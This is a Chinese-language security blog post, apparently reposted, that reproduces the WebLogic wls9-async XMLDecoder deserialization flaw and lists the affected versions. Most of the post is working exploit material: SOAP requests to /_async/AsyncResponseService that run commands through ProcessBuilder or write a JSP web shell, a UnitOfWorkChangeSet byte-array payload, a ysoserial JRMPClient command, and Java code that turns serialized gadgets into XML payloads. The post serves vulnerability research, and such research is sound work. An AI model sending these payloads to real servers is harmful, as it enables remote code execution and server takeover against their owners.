暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

WebLogic wls9-async 反序列化漏洞

安全档案 2019-04-25
698

影响范围

  1. WebLogic 10.X

  2. WebLogic 12.1.3

复现

首先本地安装 weblogic,过程不再赘述。

由于漏洞是和CVE-2017-10271同样的原因引起的。

所以完全可以使用 CVE-2017-10271 的POC

CVE-2017-10271 Getshell EXP

  1. POST /wls-wsat/CoordinatorPortType HTTP/1.1

  2. Host: 192.168.8.148:7001

  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0

  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

  5. Upgrade-Insecure-Requests: 1

  6. Content-Type: text/xml

  7. Content-Length: 756


  8. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

  9. <soapenv:Header>

  10. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

  11. <java version="1.6.0" class="java.beans.XMLDecoder">

  12. <object class="java.io.PrintWriter">

  13. <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">

  14. <string>xmldecoder_vul_test</string></void><void method="close"/>

  15. </object>

  16. </java>

  17. </work:WorkContext>

  18. </soapenv:Header>

  19. <soapenv:Body/>

  20. </soapenv:Envelope>

先启动 weblogic 服务,默认会部署 wls9-async 组件

这里放上我的命令执行POC

  1. POST /_async/AsyncResponseService HTTP/1.1

  2. Host: 127.0.0.1:7001

  3. Accept-Encoding: gzip, deflate

  4. SOAPAction:

  5. Accept: */*

  6. Connection: keep-alive

  7. Content-Type: text/xml


  8. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>calc</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

在本地成功弹出了计算器。

反编译一下存在漏洞的war包 com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war

给 weblogic 开启 debug 模式,在 idea 远程debug并给 xmldecoder 的 readObject 方法打上断点可以看到栈都走了那些方法。

getshell

  1. <soapenv:Envelope

  2. xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"

  3. xmlns:wsa="http://www.w3.org/2005/08/addressing"

  4. xmlns:asy="http://www.bea.com/async/AsyncResponseService">

  5. <soapenv:Header>

  6. <wsa:Action>xx</wsa:Action>

  7. <wsa:RelatesTo>xx</wsa:RelatesTo>

  8. <work:WorkContext

  9. xmlns:work="http://bea.com/2004/06/soap/workarea/">

  10. <java version="1.8.0_131" class="java.beans.xmlDecoder">

  11. <object class="java.io.PrintWriter">

  12. <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string>

  13. <void method="println">

  14. <string>

  15. <![CDATA[secfile]]>

  16. </string>

  17. </void>

  18. <void method="close"/>

  19. </object>

  20. </java>

  21. </work:WorkContext>

  22. </soapenv:Header>

  23. <soapenv:Body>

  24. <asy:onAsyncDelivery/>

  25. </soapenv:Body>

  26. </soapenv:Envelope>

如果一个接口不成功,可以试试这三个接口

  1. AsyncResponseServiceHttps

  2. AsyncResponseService

  3. AsyncResponseServiceJms


自从漏洞被公开后陆陆续续出来了一些 POC

其中有一个比较长的

  1. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"

  2. xmlns:wsa="http://www.w3.org/2005/08/addressing"

  3. xmlns:asy="http://www.bea.com/async/AsyncResponseService">

  4. <soapenv:Header>

  5. <wsa:Action>xxx</wsa:Action>

  6. <wsa:RelatesTo>xxx</wsa:RelatesTo>

  7. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

  8. <java>

  9. <class>

  10. <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>

  11. <void>

  12. <array class="byte" length="1452">

  13. <void index="0">

  14. <byte>-84</byte>

  15. </void>

  16. <void index="1">

  17. <byte>-19</byte>

  18. </void>

  19. <void index="2">

  20. <byte>0</byte>

  21. </void>

  22. <void index="3">

  23. <byte>5</byte>

  24. </void>

  25. //省略.....

  26. <void index="1451">

  27. <byte>58</byte>

  28. </void></array>

  29. </void>

  30. </class>

  31. </java>

  32. </work:WorkContext>

  33. </soapenv:Header>

  34. <soapenv:Body>

  35. <asy:onAsyncDelivery/>

  36. </soapenv:Body>

  37. </soapenv:Envelope>

根据源码来看,构造方法就是将一个传入的 byte 数组再反序列化成 IdentityHashtable
对象。

http://kickjava.com/src/oracle/toplink/essentials/internal/sessions/UnitOfWorkChangeSet.java.htm

那么利用方式就很明显了:通过传入payload对象的字节码对象来反序列化。

这里我用ysoserial生成一个payload

java -jar ysoserial-master-ff59523eb6-1.jar JRMPClient "127.0.0.1:1099" > E:/1.txt

然后再读取文件反序列化成java对象,再读取他的字节码,最后让xmlEncoder转成 xml格式。

  1. /**

  2. * @author 浅蓝

  3. * @since 2019/4/24 12:09

  4. */

  5. public class Test {


  6. public static void main(String[] args) throws Exception {


  7. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("E:/exp.txt"));

  8. Object o = objectInputStream.readObject();


  9. byte[] bytes = objectToByte(o);


  10. objectXmlEncoder(bytes , "E:/123.xml");


  11. }


  12. private static byte[] objectToByte(Object obj) {

  13. byte[] bytes = null;

  14. try {

  15. ByteArrayOutputStream bo = new ByteArrayOutputStream();

  16. ObjectOutputStream oo = new ObjectOutputStream(bo);

  17. oo.writeObject(obj);


  18. bytes = bo.toByteArray();


  19. bo.close();

  20. oo.close();

  21. } catch (Exception e) {

  22. System.out.println("translation" + e.getMessage());

  23. e.printStackTrace();

  24. }

  25. return bytes;

  26. }


  27. public static void objectXmlEncoder(Object obj,String fileName)

  28. throws FileNotFoundException,IOException,Exception

  29. {



  30. java.io.File file = new java.io.File(fileName);

  31. if(!file.exists()){

  32. file.createNewFile();

  33. }




  34. java.io.BufferedOutputStream oop = new java.io.BufferedOutputStream(new java.io.FileOutputStream(file));

  35. java.beans.XMLEncoder xe = new java.beans.XMLEncoder(oop);

  36. xe.flush();

  37. xe.writeObject(obj);

  38. xe.close();

  39. oop.close();

  40. }


  41. }


文章转载自安全档案,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论